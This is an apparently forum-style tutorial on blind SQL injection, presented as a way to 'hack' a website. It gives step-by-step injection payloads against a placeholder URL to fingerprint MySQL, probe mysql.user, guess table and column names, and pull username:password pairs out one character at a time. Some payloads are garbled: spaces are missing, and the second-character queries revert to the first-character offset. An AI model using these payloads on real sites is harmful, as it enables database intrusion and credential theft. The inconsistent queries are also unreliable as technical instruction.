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Blind SQL Injection |
Language: English
Platform: Windows Only
Must Read The Full Post Before Download & Install
Blind SQL Injection is used when a web application is vulnerable to an SQL injection but the results of the injection are not visible to the attacker. The page with the vulnerability may not be one that displays data but will display differently depending on the results of a logical statement injected into the legitimate SQL statement called for that page. This type of attack can become time-intensive because a new statement must be crafted for each bit recovered. There are several tools that can automate these attacks once the location of the vulnerability and the target information has been established
Read Below Tutorial Blind SQLi
Let’s Start…………
Suppose That You want to Hack This website with Blind SQLi http://site.com/index.php?id=5 when we execute this, we see some page and articles on that page, pictures etc…
After that when we want to test it for blind sql injection attack http://www.site.com/index.php?id=5 and 1=1 <--- this is always true and the page loads normally, that's ok.
Now the real test follow http://www.site.com/index.php?id=5and 1=2 <--- this is false
so if some text, picture or some content is missing on returned page then that site is vulnerable to blind sql injection.
- 1) Get the MySQL version to get the version in blind attack we use substring i.e http://www.site.com/index.php?id=5 and substring(@@version,1,1)=4 this should return TRUE if the version of MySQL is 4. replace 4 with 5, and if query return TRUE then the version is 5. i.e. http://www.site.com/index.php?id=5 and substring(@@version,1,1)=5
- 2) Test if subselect works when select don't work then we use subselect i.e http://www.site.com/index.php?id=5 and (select 1)=1 if page loads normally then subselects work. then we gonna see if we have access to mysql.user i.e http://www.site.com/index.php?id=5 and (select 1 from mysql.user limit 0,1)=1 if page loads normally we have access to mysql.user and then later we can Pull some password using load_file() function and OUTFILE.
- 3). Check table and column names This is part when guessing is the best friend i.e. http://www.site.com/index.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.) then if the page loads normally without content missing, the table users exits. if you get FALSE (some article missing), just change table name until you guess the right one let's say that we have found that table name is users, now what we need is column name. the same as table name, we start guessing. Like i said before try the common names for columns. i.e http://www.site.com/index.php?id=5 and (select substring(concat(1, password),1,1) from users limit 0,1)=1 if the page loads normally we know that column name is password (if we get false then try common names or just guess) here we merge 1 with the column password, then substring returns the first character (,1,1)
- 4). Pull data from database we found table users i columns username password so we gonna pull characters from that. http://www.site.com/index.php?id=5and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>80 ok this here pulls the first character from first user in table users. substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value and then compare it with simbol greater then > . so if the ascii char greater then 80, the page loads normally. (TRUE) we keep trying until we get false. http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>95 we get TRUE, keep incrementing http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>98 TRUE again, higher http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>99 FALSE!!! so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'. then let's check the second character. http://www.site.com/index.php?id=5and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),2,1))>99 Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght) http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>99 TRUE, the page loads normally, higher. http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>107 FALSE, lower number. http://www.site.com/index.php?id=5and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>104 TRUE, higher. http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>105 FALSE!!! we know that the second character is char(105) and that is 'i'. We have 'ci' so far so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end). There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually, cause that makes you better SQL INJECTOR
Hope you learned something from this Tutorial. Have FUN!
Written By Tense Boy Shimul
